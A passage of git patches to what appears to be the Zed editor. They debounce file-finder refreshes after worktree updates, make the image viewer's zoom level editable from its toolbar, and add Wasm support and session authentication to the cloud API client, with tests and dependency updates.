@@ -387,6 +387,7 @@ pub struct FileFinderDelegate {
     focus_handle: FocusHandle,
     include_ignored: Option<bool>,
     include_ignored_refresh: Task<()>,
+    debounce_next_refresh: bool,
 }
 
 /// Use a custom ordering for file finder: the regular one
@@ -845,6 +846,7 @@ impl FoundPath {
 
 const MAX_RECENT_SELECTIONS: usize = 20;
 const SEARCH_DEBOUNCE: Duration = Duration::from_millis(100);
+const WORKTREE_UPDATE_REFRESH_DEBOUNCE: Duration = Duration::from_millis(200);
 
 pub enum Event {
     Selected(ProjectPath),
@@ -994,6 +996,7 @@ impl FileFinderDelegate {
             focus_handle: cx.focus_handle(),
             include_ignored: include_ignored.or(FileFinderSettings::get_global(cx).include_ignored),
             include_ignored_refresh: Task::ready(()),
+            debounce_next_refresh: false,
         }
     }
 
@@ -1004,11 +1007,17 @@ impl FileFinderDelegate {
     ) {
         cx.subscribe_in(project, window, |file_finder, _, event, window, cx| {
             match event {
-                project::Event::WorktreeUpdatedEntries(_, _)
-                | project::Event::WorktreeAdded(_)
-                | project::Event::WorktreeRemoved(_) => file_finder
-                    .picker
-                    .update(cx, |picker, cx| picker.refresh(window, cx)),
+                project::Event::WorktreeUpdatedEntries(_, _) => {
+                    file_finder.picker.update(cx, |picker, cx| {
+                        picker.delegate.debounce_next_refresh = true;
+                        picker.refresh(window, cx);
+                    })
+                }
+                project::Event::WorktreeAdded(_) | project::Event::WorktreeRemoved(_) => {
+                    file_finder
+                        .picker
+                        .update(cx, |picker, cx| picker.refresh(window, cx))
+                }
                 _ => {}
             };
         })
@@ -1842,6 +1851,7 @@ impl PickerDelegate for FileFinderDelegate {
         window: &mut Window,
         cx: &mut Context<Picker<Self>>,
     ) -> Task<()> {
+        let debounce_refresh = mem::take(&mut self.debounce_next_refresh);
         let raw_query = raw_query.trim();
 
         let raw_query = match &raw_query.get(0..2) {
@@ -1915,7 +1925,11 @@ impl PickerDelegate for FileFinderDelegate {
             let was_in_flight = search_in_flight.swap(true, atomic::Ordering::Relaxed);
 
             cx.spawn_in(window, async move |this, cx| {
-                if was_in_flight {
+                if debounce_refresh {
+                    cx.background_executor()
+                        .timer(WORKTREE_UPDATE_REFRESH_DEBOUNCE)
+                        .await;
+                } else if was_in_flight {
                     cx.background_executor().timer(SEARCH_DEBOUNCE).await;
                 }
                 let _ = maybe!(async move {
diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index ec49c8a373e5a9..2c6df4b1e5ba49 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -3347,7 +3347,7 @@ async fn test_selected_history_item_stays_selected_on_worktree_updated(cx: &mut
             .expect("unable to create file");
     }
 
-    cx.executor().advance_clock(FS_WATCH_LATENCY);
+    advance_worktree_update_refresh(cx);
 
     picker.update(cx, |finder, _| {
         assert_eq!(finder.delegate.matches.len(), 3);
@@ -3516,7 +3516,7 @@ async fn test_search_results_refreshed_on_worktree_updates(cx: &mut gpui::TestAp
         .remove_file("/src/main.rs".as_ref(), Default::default())
         .await
         .expect("unable to remove file");
-    cx.executor().advance_clock(FS_WATCH_LATENCY);
+    advance_worktree_update_refresh(cx);
 
     // main.rs is in not among search results anymore
     picker.update(cx, |finder, _| {
@@ -3531,7 +3531,7 @@ async fn test_search_results_refreshed_on_worktree_updates(cx: &mut gpui::TestAp
         .create_file("/src/util.rs".as_ref(), Default::default())
         .await
         .expect("unable to create file");
-    cx.executor().advance_clock(FS_WATCH_LATENCY);
+    advance_worktree_update_refresh(cx);
 
     // util.rs is among search results
     picker.update(cx, |finder, _| {
@@ -3542,6 +3542,51 @@ async fn test_search_results_refreshed_on_worktree_updates(cx: &mut gpui::TestAp
     });
 }
 
+#[gpui::test]
+async fn test_worktree_entry_updates_are_coalesced(cx: &mut gpui::TestAppContext) {
+    let app_state = init_test(cx);
+
+    app_state
+        .fs
+        .as_fake()
+        .insert_tree(
+            "/src",
+            json!({
+                "lib.rs": "// Lib file",
+            }),
+        )
+        .await;
+
+    let project = Project::test(app_state.fs.clone(), ["/src".as_ref()], cx).await;
+    let (picker, _, cx) = build_find_picker(project, cx);
+
+    simulate_input(cx, "rs");
+    let initial_search_count = picker.read_with(cx, |picker, _| picker.delegate.search_count);
+
+    for filename in ["one.rs", "two.rs", "three.rs"] {
+        app_state
+            .fs
+            .create_file(Path::new(&format!("/src/{filename}")), Default::default())
+            .await
+            .expect("unable to create file");
+        cx.executor().advance_clock(FS_WATCH_LATENCY);
+        cx.run_until_parked();
+    }
+
+    cx.executor()
+        .advance_clock(WORKTREE_UPDATE_REFRESH_DEBOUNCE);
+    cx.run_until_parked();
+
+    picker.update(cx, |picker, _| {
+        assert_eq!(
+            picker.delegate.search_count,
+            initial_search_count + 1,
+            "bursty worktree entry updates should be coalesced into one search refresh"
+        );
+        assert_eq!(picker.delegate.matches.len(), 5);
+    });
+}
+
 #[gpui::test]
 async fn test_search_results_refreshed_on_standalone_file_creation(cx: &mut gpui::TestAppContext) {
     let app_state = init_test(cx);
@@ -3688,7 +3733,7 @@ async fn test_search_results_refreshed_on_adding_and_removing_worktrees(
         })
         .await
         .expect("unable to create workdir");
-    cx.executor().advance_clock(FS_WATCH_LATENCY);
+    advance_worktree_update_refresh(cx);
 
     // main.rs is among search results
     picker.update(cx, |finder, _| {
@@ -3918,11 +3963,15 @@ async fn test_selected_match_stays_selected_after_matches_refreshed(cx: &mut gpu
             .create_file(Path::new(&filename), Default::default())
             .await
             .expect("unable to create file");
-        // Wait for each file system event to be fully processed before adding the next
+        // Wait for each file system event to be observed before adding the next.
         cx.executor().advance_clock(FS_WATCH_LATENCY);
         cx.run_until_parked();
     }
 
+    cx.executor()
+        .advance_clock(WORKTREE_UPDATE_REFRESH_DEBOUNCE);
+    cx.run_until_parked();
+
     // file_13.txt is still selected
     picker.update(cx, |finder, _| {
         let expected_selected_index = selected_index + files_to_add;
@@ -3966,7 +4015,7 @@ async fn test_first_match_selected_if_previous_one_is_not_in_the_match_list(
         .remove_file("/src/file_2.txt".as_ref(), Default::default())
         .await
         .expect("unable to remove file");
-    cx.executor().advance_clock(FS_WATCH_LATENCY);
+    advance_worktree_update_refresh(cx);
 
     // file_1.txt is now selected
     picker.update(cx, |finder, _| {
@@ -4571,6 +4620,12 @@ fn simulate_input(cx: &mut VisualTestContext, input: &str) {
     cx.run_until_parked();
 }
 
+fn advance_worktree_update_refresh(cx: &mut VisualTestContext) {
+    cx.executor()
+        .advance_clock(FS_WATCH_LATENCY + WORKTREE_UPDATE_REFRESH_DEBOUNCE);
+    cx.run_until_parked();
+}
+
 #[track_caller]
 pub(crate) fn active_file_picker(
     workspace: &Entity<Workspace>,

From 10f47559169659fdc220f6d336cecd8c54ad9ded Mon Sep 17 00:00:00 2001
From: allison <28279548+transitoryangel@users.noreply.github.com>
Date: Tue, 21 Jul 2026 08:16:56 -0500
Subject: [PATCH 599/772] image_viewer: Allow setting a custom zoom level
 (#57215)

Allows you to click on the zoom percent to edit it. Right clicking the
percentage resets to 100%.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added support for editing image viewer zoom levels directly from the
toolbar.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 Cargo.lock                              |   1 +
 crates/image_viewer/Cargo.toml          |   1 +
 crates/image_viewer/src/image_viewer.rs | 167 ++++++++++++++++++++++--
 3 files changed, 156 insertions(+), 13 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 03b609350fe2ab..68e97949e0ae76 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8995,6 +8995,7 @@ dependencies = [
  "gpui",
  "language",
  "log",
+ "menu",
  "project",
  "serde",
  "settings",
diff --git a/crates/image_viewer/Cargo.toml b/crates/image_viewer/Cargo.toml
index 8d9df8c9edd194..17d338a2ca4103 100644
--- a/crates/image_viewer/Cargo.toml
+++ b/crates/image_viewer/Cargo.toml
@@ -23,6 +23,7 @@ file_icons.workspace = true
 gpui.workspace = true
 language.workspace = true
 log.workspace = true
+menu.workspace = true
 project.workspace = true
 serde.workspace = true
 settings.workspace = true
diff --git a/crates/image_viewer/src/image_viewer.rs b/crates/image_viewer/src/image_viewer.rs
index 3dc434deb74f5b..a2cf1d7140b469 100644
--- a/crates/image_viewer/src/image_viewer.rs
+++ b/crates/image_viewer/src/image_viewer.rs
@@ -4,14 +4,17 @@ mod image_viewer_settings;
 use std::path::Path;
 
 use anyhow::Context as _;
-use editor::{EditorSettings, RevealInFileManager, items::entry_git_aware_label_color};
+use editor::{
+    Editor, EditorEvent, EditorSettings, RevealInFileManager, actions::SelectAll,
+    items::entry_git_aware_label_color,
+};
 use file_icons::FileIcons;
 use gpui::{
     AnyElement, App, Bounds, Context, DispatchPhase, Element, ElementId, Entity, EventEmitter,
     FocusHandle, Focusable, Font, GlobalElementId, InspectorElementId, InteractiveElement,
     IntoElement, LayoutId, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent,
     ParentElement, PinchEvent, Pixels, Point, Render, ScrollDelta, ScrollWheelEvent, Style, Styled,
-    Task, WeakEntity, Window, actions, checkerboard, div, img, point, px, size,
+    Subscription, Task, WeakEntity, Window, actions, checkerboard, div, img, point, px, size,
 };
 use language::File as _;
 use persistence::ImageViewerDb;
@@ -51,6 +54,10 @@ const MAX_ZOOM: f32 = 20.0;
 const ZOOM_STEP: f32 = 1.1;
 const SCROLL_LINE_MULTIPLIER: f32 = 20.0;
 const BASE_SQUARE_SIZE: f32 = 32.0;
+const ZOOM_EDITOR_MIN_DIGITS: usize = 3; // Reserve room for common values like 100%.
+const ZOOM_EDITOR_MAX_DIGITS: usize = 4; // MAX_ZOOM is 2000%.
+const ZOOM_EDITOR_APPROX_CHAR_WIDTH: f32 = 8.0; // Approximate width of one small UI digit.
+const ZOOM_EDITOR_HORIZONTAL_PADDING: f32 = 12.0; // Extra room for cursor and editor edge padding.
 
 pub struct ImageView {
     image_item: Entity<ImageItem>,
@@ -751,6 +758,8 @@ impl ProjectItem for ImageView {
 pub struct ImageViewToolbarControls {
     image_view: Option<WeakEntity<ImageView>>,
     _subscription: Option<gpui::Subscription>,
+    zoom_editor: Option<Entity<Editor>>,
+    _zoom_subscription: Option<Subscription>,
 }
 
 impl ImageViewToolbarControls {
@@ -758,8 +767,94 @@ impl ImageViewToolbarControls {
         Self {
             image_view: None,
             _subscription: None,
+            zoom_editor: None,
+            _zoom_subscription: None,
         }
     }
+
+    fn start_editing_zoom(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let Some(image_view) = self.image_view.as_ref().and_then(|v| v.upgrade()) else {
+            return;
+        };
+        let zoom_level = image_view.read(cx).zoom_level;
+        let zoom_percentage = (zoom_level * 100.0).round() as i32;
+
+        let editor = cx.new(|cx| {
+            let mut editor = Editor::single_line(window, cx);
+            editor.set_text(zoom_percentage.to_string(), window, cx);
+            editor.set_text_style_refinement(gpui::TextStyleRefinement {
+                color: Some(cx.theme().colors().text),
+                text_align: Some(gpui::TextAlign::Center),
+                font_size: Some(TextSize::Small.rems(cx).into()),
+                ..Default::default()
+            });
+            editor.select_all(&SelectAll, window, cx);
+            editor
+        });
+
+        let subscription = cx.subscribe_in(&editor, window, {
+            move |this, editor, event, window, cx| match event {
+                EditorEvent::Blurred => this.commit_edit(cx),
+                EditorEvent::Edited { .. } => {
+                    let text = editor.read(cx).text(cx);
+                    let sanitized = text
+                        .chars()
+                        .filter(|ch| ch.is_ascii_digit())
+                        .take(ZOOM_EDITOR_MAX_DIGITS)
+                        .collect::<String>();
+                    if sanitized != text {
+                        editor.update(cx, |editor, cx| editor.set_text(sanitized, window, cx));
+                    }
+                    cx.notify();
+                }
+                _ => {}
+            }
+        });
+
+        editor.focus_handle(cx).focus(window, cx);
+
+        self.zoom_editor = Some(editor);
+        self._zoom_subscription = Some(subscription);
+
+        cx.notify();
+    }
+
+    fn commit_edit(&mut self, cx: &mut Context<Self>) {
+        let Some(editor) = self.zoom_editor.as_ref() else {
+            self.cancel_edit(cx);
+            return;
+        };
+
+        let input = editor.read(cx).text(cx);
+        let parsed = input
+            .trim()
+            .parse::<u32>()
+            .ok()
+            .filter(|parsed| *parsed > 0);
+
+        let Some(parsed) = parsed else {
+            self.cancel_edit(cx);
+            return;
+        };
+
+        self._zoom_subscription = None;
+        self.zoom_editor = None;
+
+        let new_zoom = (parsed as f32 / 100.0).clamp(MIN_ZOOM, MAX_ZOOM);
+        if let Some(image_view) = self.image_view.as_ref().and_then(|v| v.upgrade()) {
+            image_view.update(cx, |this, cx| {
+                this.set_zoom(new_zoom, None, cx);
+            });
+        }
+
+        cx.notify();
+    }
+
+    fn cancel_edit(&mut self, cx: &mut Context<Self>) {
+        self.zoom_editor = None;
+        self._zoom_subscription = None;
+        cx.notify();
+    }
 }
 
 impl Render for ImageViewToolbarControls {
@@ -768,9 +863,6 @@ impl Render for ImageViewToolbarControls {
             return div().into_any_element();
         };
 
-        let zoom_level = image_view.read(cx).zoom_level;
-        let zoom_percentage = format!("{}%", (zoom_level * 100.0).round() as i32);
-
         h_flex()
             .gap_1()
             .child(
@@ -788,11 +880,57 @@ impl Render for ImageViewToolbarControls {
                         }
                     }),
             )
-            .child(
-                Button::new("zoom-level", zoom_percentage)
-                    .label_size(LabelSize::Small)
-                    .tooltip(|_window, cx| Tooltip::for_action("Reset Zoom", &ResetZoom, cx))
-                    .on_click({
+            .child(if let Some(editor) = self.zoom_editor.as_ref() {
+                // Grow with input, defaulting to 3-digit zoom.
+                let editor_width = px((editor
+                    .read(cx)
+                    .text(cx)
+                    .chars()
+                    .count()
+                    .clamp(ZOOM_EDITOR_MIN_DIGITS, ZOOM_EDITOR_MAX_DIGITS)
+                    as f32
+                    * ZOOM_EDITOR_APPROX_CHAR_WIDTH)
+                    + ZOOM_EDITOR_HORIZONTAL_PADDING);
+
+                h_flex()
+                    .w(editor_width)
+                    .capture_key_down(|event, _window, cx| {
+                        if event.keystroke.modifiers.control || event.keystroke.modifiers.platform {
+                            return;
+                        }
+
+                        // Only allow digits to be entered
+                        if let Some(text) = event.keystroke.key_char.as_deref()
+                            && !text.chars().all(|ch| ch.is_ascii_digit())
+                        {
+                            cx.stop_propagation();
+                        }
+                    })
+                    .child(editor.clone())
+                    .on_action::<menu::Confirm>({
+                        move |_: &menu::Confirm, window, _| {
+                            window.blur();
+                        }
+                    })
+                    .on_action(cx.listener(|this, _: &menu::Cancel, _, cx| {
+                        this.cancel_edit(cx);
+                    }))
+                    .into_any_element()
+            } else {
+                let zoom_level = image_view.read(cx).zoom_level;
+                let zoom_percentage = format!("{}%", (zoom_level * 100.0).round() as i32);
+                h_flex()
+                    .px_1()
+                    .cursor_pointer()
+                    .child(Label::new(zoom_percentage).size(LabelSize::Small))
+                    .id("zoom-label")
+                    .tooltip(|_window, cx| {
+                        Tooltip::with_meta("Edit Zoom", None, "Right-click to reset to 100%.", cx)
+                    })
+                    .on_click(cx.listener(|this, _, window, cx| {
+                        this.start_editing_zoom(window, cx);
+                    }))
+                    .on_mouse_down(MouseButton::Right, {
                         let image_view = image_view.downgrade();
                         move |_, window, cx| {
                             if let Some(view) = image_view.upgrade() {
@@ -801,12 +939,13 @@ impl Render for ImageViewToolbarControls {
                                 });
                             }
                         }
-                    }),
-            )
+                    })
+                    .into_any_element()
+            })
             .child(
                 IconButton::new("zoom-in", IconName::Plus)
                     .icon_size(IconSize::Small)
-                    .tooltip(|_window, cx| Tooltip::for_action("Zoom In", &ZoomIn, cx))
+                    .tooltip(|_, cx| Tooltip::for_action("Zoom In", &ZoomIn, cx))
                     .on_click({
                         let image_view = image_view.downgrade();
                         move |_, window, cx| {
@@ -848,6 +987,8 @@ impl ToolbarItemView for ImageViewToolbarControls {
     ) -> ToolbarItemLocation {
         self.image_view = None;
         self._subscription = None;
+        self.zoom_editor = None;
+        self._zoom_subscription = None;
 
         if let Some(item) = active_pane_item.and_then(|i| i.downcast::<ImageView>()) {
             self._subscription = Some(cx.observe(&item, |_, _, cx| {

From 875042b698fbfdfb38c4db493419ec8abdd5c8cf Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 21 Jul 2026 15:20:31 +0200
Subject: [PATCH 600/772] cloud_api_client: Implement Wasm support (#61328)

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Gaauwe Rombouts <mail@grombouts.nl>
---
 .github/workflows/run_tests.yml               |   2 +-
 Cargo.lock                                    |  22 +++-
 Cargo.toml                                    |   2 +-
 crates/cloud_api_client/Cargo.toml            |   4 +-
 .../cloud_api_client/src/cloud_api_client.rs  | 121 +++++++++++-------
 crates/cloud_api_client/src/websocket.rs      |  77 ++---------
 .../cloud_api_client/src/websocket/native.rs  |  91 +++++++++++++
 crates/cloud_api_client/src/websocket/web.rs  |  79 ++++++++++++
 script/licenses/zed-licenses.toml             |   1 +
 .../xtask/src/tasks/workflows/run_tests.rs    |   2 +-
 10 files changed, 283 insertions(+), 118 deletions(-)
 create mode 100644 crates/cloud_api_client/src/websocket/native.rs
 create mode 100644 crates/cloud_api_client/src/websocket/web.rs

diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 27c0819d7c90f5..0841b4c748a6c1 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -660,7 +660,7 @@ jobs:
         R2_SECRET_ACCESS_KEY: ${{ secrets.R2_SECRET_ACCESS_KEY }}
         SCCACHE_BUCKET: sccache-zed
     - name: run_tests::check_wasm::cargo_check_wasm
-      run: cargo -Zbuild-std=std,panic_abort check --target wasm32-unknown-unknown -p gpui_platform
+      run: cargo -Zbuild-std=std,panic_abort check --target wasm32-unknown-unknown -p gpui_platform -p cloud_api_client
       env:
         CARGO_TARGET_WASM32_UNKNOWN_UNKNOWN_RUSTFLAGS: -C target-feature=+atomics,+bulk-memory,+mutable-globals
         RUSTC_BOOTSTRAP: '1'
diff --git a/Cargo.lock b/Cargo.lock
index 68e97949e0ae76..97e65a3d0c2776 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -17486,7 +17486,7 @@ dependencies = [
  "tracing",
  "url",
  "uuid",
- "webpki-roots",
+ "webpki-roots 0.26.8",
 ]
 
 [[package]]
@@ -21160,6 +21160,15 @@ dependencies = [
  "rustls-pki-types",
 ]
 
+[[package]]
+name = "webpki-roots"
+version = "1.0.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bf85cb06032201fa7c6f829d7db5a7e5aa45bcc0655327713065f6f0576731bf"
+dependencies = [
+ "rustls-pki-types",
+]
+
 [[package]]
 name = "webrtc-sys"
 version = "0.3.23"
@@ -22978,23 +22987,24 @@ checksum = "cfe53a6657fd280eaa890a3bc59152892ffa3e30101319d168b781ed6529b049"
 
 [[package]]
 name = "yawc"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19a5d82922135b4ae73a079a4ffb5501e9aadb4d785b8c660eaa0a8b899028c5"
+version = "0.3.3"
+source = "git+https://github.com/zed-industries/yawc?rev=71a452f551cac178367eaac5d7418a09afa1f3a2#71a452f551cac178367eaac5d7418a09afa1f3a2"
 dependencies = [
  "base64 0.22.1",
  "bytes 1.11.1",
  "flate2",
  "futures 0.3.32",
+ "getrandom 0.2.16",
  "http-body-util",
  "hyper 1.7.0",
  "hyper-util",
  "js-sys",
+ "log",
  "nom 8.0.0",
  "pin-project",
  "rand 0.8.6",
  "sha1",
- "thiserror 1.0.69",
+ "thiserror 2.0.17",
  "tokio",
  "tokio-rustls 0.26.4",
  "tokio-util",
@@ -23002,7 +23012,7 @@ dependencies = [
  "wasm-bindgen",
  "wasm-bindgen-futures",
  "web-sys",
- "webpki-roots",
+ "webpki-roots 1.0.8",
 ]
 
 [[package]]
diff --git a/Cargo.toml b/Cargo.toml
index 551596b61c2b08..16cbb766091f52 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -888,7 +888,7 @@ webrtc-sys = "0.3.23"
 wgpu = "29.0.4"
 windows-core = "0.61"
 yaml-rust2 = "0.8"
-yawc = "0.2.5"
+yawc = { git = "https://github.com/zed-industries/yawc", rev = "71a452f551cac178367eaac5d7418a09afa1f3a2", version = "0.3.3" }
 zeroize = "1.8"
 zstd = "0.11"
 
diff --git a/crates/cloud_api_client/Cargo.toml b/crates/cloud_api_client/Cargo.toml
index baca3c1ce6f52d..632cb9d5f356f5 100644
--- a/crates/cloud_api_client/Cargo.toml
+++ b/crates/cloud_api_client/Cargo.toml
@@ -16,7 +16,6 @@ anyhow.workspace = true
 cloud_api_types.workspace = true
 futures.workspace = true
 gpui.workspace = true
-gpui_tokio.workspace = true
 http_client.workspace = true
 parking_lot.workspace = true
 serde.workspace = true
@@ -24,3 +23,6 @@ serde_json.workspace = true
 async-lock.workspace = true
 thiserror.workspace = true
 yawc.workspace = true
+
+[target.'cfg(not(target_family = "wasm"))'.dependencies]
+gpui_tokio.workspace = true
diff --git a/crates/cloud_api_client/src/cloud_api_client.rs b/crates/cloud_api_client/src/cloud_api_client.rs
index d9e584e313155b..b98b6c60c8fd05 100644
--- a/crates/cloud_api_client/src/cloud_api_client.rs
+++ b/crates/cloud_api_client/src/cloud_api_client.rs
@@ -3,12 +3,9 @@ mod websocket;
 
 use std::sync::Arc;
 
-use anyhow::{Context, Result, anyhow};
-use cloud_api_types::websocket_protocol::{PROTOCOL_VERSION, PROTOCOL_VERSION_HEADER_NAME};
+use anyhow::{Result, anyhow};
 pub use cloud_api_types::*;
 use futures::AsyncReadExt as _;
-use gpui::{App, Task};
-use gpui_tokio::Tokio;
 use http_client::http::request;
 use http_client::{
     AsyncBody, HttpClientWithUrl, HttpRequestExt, Json, Method, Request, Response, StatusCode,
@@ -16,9 +13,6 @@ use http_client::{
 use parking_lot::RwLock;
 use serde::de::DeserializeOwned;
 use thiserror::Error;
-use yawc::WebSocket;
-
-use crate::websocket::Connection;
 
 pub use llm_token::LlmApiToken;
 
@@ -27,6 +21,12 @@ struct Credentials {
     access_token: String,
 }
 
+#[derive(Clone, Copy)]
+enum Authentication {
+    Credentials,
+    Session,
+}
+
 #[derive(Debug, Error)]
 pub enum ClientApiError {
     /// 401 — credentials are invalid or expired.
@@ -62,6 +62,7 @@ pub enum ClientApiError {
 pub struct CloudApiClient {
     credentials: RwLock<Option<Credentials>>,
     http_client: Arc<HttpClientWithUrl>,
+    authentication: Authentication,
 }
 
 impl CloudApiClient {
@@ -69,6 +70,15 @@ impl CloudApiClient {
         Self {
             credentials: RwLock::new(None),
             http_client,
+            authentication: Authentication::Credentials,
+        }
+    }
+
+    pub fn new_with_session_authentication(http_client: Arc<HttpClientWithUrl>) -> Self {
+        Self {
+            credentials: RwLock::new(None),
+            http_client,
+            authentication: Authentication::Session,
         }
     }
 
@@ -115,35 +125,6 @@ impl CloudApiClient {
             .await
     }
 
-    pub fn connect(&self, cx: &App) -> Result<Task<Result<Connection>>> {
-        let mut connect_url = self
-            .http_client
-            .build_zed_cloud_url("/client/users/connect")?;
-        connect_url
-            .set_scheme(match connect_url.scheme() {
-                "https" => "wss",
-                "http" => "ws",
-                scheme => Err(anyhow!("invalid URL scheme: {scheme}"))?,
-            })
-            .map_err(|_| anyhow!("failed to set URL scheme"))?;
-
-        let credentials = self.credentials.read();
-        let credentials = credentials.as_ref().context("no credentials provided")?;
-        let authorization_header = format!("{} {}", credentials.user_id, credentials.access_token);
-
-        Ok(Tokio::spawn_result(cx, async move {
-            let ws = WebSocket::connect(connect_url)
-                .with_request(
-                    request::Builder::new()
-                        .header("Authorization", authorization_header)
-                        .header(PROTOCOL_VERSION_HEADER_NAME, PROTOCOL_VERSION.to_string()),
-                )
-                .await?;
-
-            Ok(Connection::new(ws))
-        }))
-    }
-
     async fn create_llm_token(
         &self,
         system_id: Option<String>,
@@ -203,10 +184,13 @@ impl CloudApiClient {
         request_builder: request::Builder,
         body: impl Into<AsyncBody>,
     ) -> Result<Response<AsyncBody>, ClientApiError> {
-        let request = {
+        let request = if matches!(self.authentication, Authentication::Session) {
+            build_request(request_builder, body, None)
+                .map_err(ClientApiError::RequestBuildFailed)?
+        } else {
             let credentials = self.credentials.read();
             let credentials = credentials.as_ref().ok_or(ClientApiError::NotSignedIn)?;
-            build_request(request_builder, body, credentials)
+            build_request(request_builder, body, Some(credentials))
                 .map_err(ClientApiError::RequestBuildFailed)?
         };
 
@@ -261,10 +245,10 @@ impl CloudApiClient {
                     .as_ref(),
             ),
             AsyncBody::default(),
-            &Credentials {
+            Some(&Credentials {
                 user_id,
                 access_token: access_token.into(),
-            },
+            }),
         )?;
 
         let mut response = self.http_client.send(request).await?;
@@ -331,13 +315,60 @@ impl CloudApiClient {
 fn build_request(
     req: request::Builder,
     body: impl Into<AsyncBody>,
-    credentials: &Credentials,
+    credentials: Option<&Credentials>,
 ) -> Result<Request<AsyncBody>> {
     Ok(req
         .header("Content-Type", "application/json")
-        .header(
-            "Authorization",
-            format!("{} {}", credentials.user_id, credentials.access_token),
-        )
+        .when_some(credentials, |request, credentials| {
+            request.header(
+                "Authorization",
+                format!("{} {}", credentials.user_id, credentials.access_token),
+            )
+        })
         .body(body.into())?)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn build_session_authenticated_request_without_authorization_header() -> Result<()> {
+        let request = build_request(
+            Request::builder().uri("https://cloud.zed.dev/client/users/me"),
+            AsyncBody::default(),
+            None,
+        )?;
+
+        assert_eq!(
+            request
+                .headers()
+                .get("Content-Type")
+                .and_then(|value| value.to_str().ok()),
+            Some("application/json")
+        );
+        assert!(!request.headers().contains_key("Authorization"));
+        Ok(())
+    }
+
+    #[test]
+    fn build_credentials_authenticated_request_with_authorization_header() -> Result<()> {
+        let request = build_request(
+            Request::builder().uri("https://cloud.zed.dev/client/users/me"),
+            AsyncBody::default(),
+            Some(&Credentials {
+                user_id: 123,
+                access_token: "token".into(),
+            }),
+        )?;
+
+        assert_eq!(
+            request
+                .headers()
+                .get("Authorization")
+                .and_then(|value| value.to_str().ok()),
+            Some("123 token")
+        );
+        Ok(())
+    }
+}
diff --git a/crates/cloud_api_client/src/websocket.rs b/crates/cloud_api_client/src/websocket.rs
index 48a628db78b2fe..9f4c200ed7e5eb 100644
--- a/crates/cloud_api_client/src/websocket.rs
+++ b/crates/cloud_api_client/src/websocket.rs
@@ -1,73 +1,24 @@
 use std::pin::Pin;
-use std::time::Duration;
 
 use anyhow::Result;
 use cloud_api_types::websocket_protocol::MessageToClient;
-use futures::channel::mpsc::unbounded;
-use futures::stream::{SplitSink, SplitStream};
-use futures::{FutureExt as _, SinkExt as _, Stream, StreamExt as _, TryStreamExt as _, pin_mut};
-use gpui::{App, BackgroundExecutor, Task};
-use yawc::WebSocket;
-use yawc::frame::{FrameView, OpCode};
+use futures::Stream;
+use futures::channel::mpsc::UnboundedSender;
+use yawc::frame::{Frame, OpCode};
 
-const KEEPALIVE_INTERVAL: Duration = Duration::from_secs(1);
+#[cfg(not(target_family = "wasm"))]
+mod native;
+#[cfg(target_family = "wasm")]
+mod web;
 
 pub type MessageStream = Pin<Box<dyn Stream<Item = Result<MessageToClient>>>>;
 
-pub struct Connection {
-    tx: SplitSink<WebSocket, FrameView>,
-    rx: SplitStream<WebSocket>,
-}
-
-impl Connection {
-    pub fn new(ws: WebSocket) -> Self {
-        let (tx, rx) = ws.split();
-
-        Self { tx, rx }
-    }
-
-    pub fn spawn(self, cx: &App) -> (MessageStream, Task<()>) {
-        let (mut tx, rx) = (self.tx, self.rx);
-
-        let (message_tx, message_rx) = unbounded();
-
-        let handle_io = |executor: BackgroundExecutor| async move {
-            // Send messages on this frequency so the connection isn't closed.
-            let keepalive_timer = executor.timer(KEEPALIVE_INTERVAL).fuse();
-            futures::pin_mut!(keepalive_timer);
-
-            let rx = rx.fuse();
-            pin_mut!(rx);
-
-            loop {
-                futures::select_biased! {
-                    _ = keepalive_timer => {
-                        let _ = tx.send(FrameView::ping(Vec::new())).await;
-
-                        keepalive_timer.set(executor.timer(KEEPALIVE_INTERVAL).fuse());
-                    }
-                    frame = rx.next() => {
-                        let Some(frame) = frame else {
-                            break;
-                        };
-
-                        match frame.opcode {
-                            OpCode::Binary => {
-                                let message_result = MessageToClient::deserialize(&frame.payload);
-                                message_tx.unbounded_send(message_result).ok();
-                            }
-                            OpCode::Close => {
-                                break;
-                            }
-                            _ => {}
-                        }
-                    }
-                }
-            }
-        };
-
-        let task = cx.spawn(async move |cx| handle_io(cx.background_executor().clone()).await);
-
-        (message_rx.into_stream().boxed(), task)
+fn forward_frame(frame: Frame, message_tx: &UnboundedSender<Result<MessageToClient>>) -> bool {
+    match frame.opcode() {
+        OpCode::Binary => message_tx
+            .unbounded_send(MessageToClient::deserialize(frame.payload()))
+            .is_ok(),
+        OpCode::Close => false,
+        OpCode::Continuation | OpCode::Text | OpCode::Ping | OpCode::Pong => true,
     }
 }
diff --git a/crates/cloud_api_client/src/websocket/native.rs b/crates/cloud_api_client/src/websocket/native.rs
new file mode 100644
index 00000000000000..d19da9f0027e64
--- /dev/null
+++ b/crates/cloud_api_client/src/websocket/native.rs
@@ -0,0 +1,91 @@
+use std::time::Duration;
+
+use anyhow::{Context as _, Result, anyhow};
+use cloud_api_types::websocket_protocol::{PROTOCOL_VERSION, PROTOCOL_VERSION_HEADER_NAME};
+use futures::channel::mpsc::unbounded;
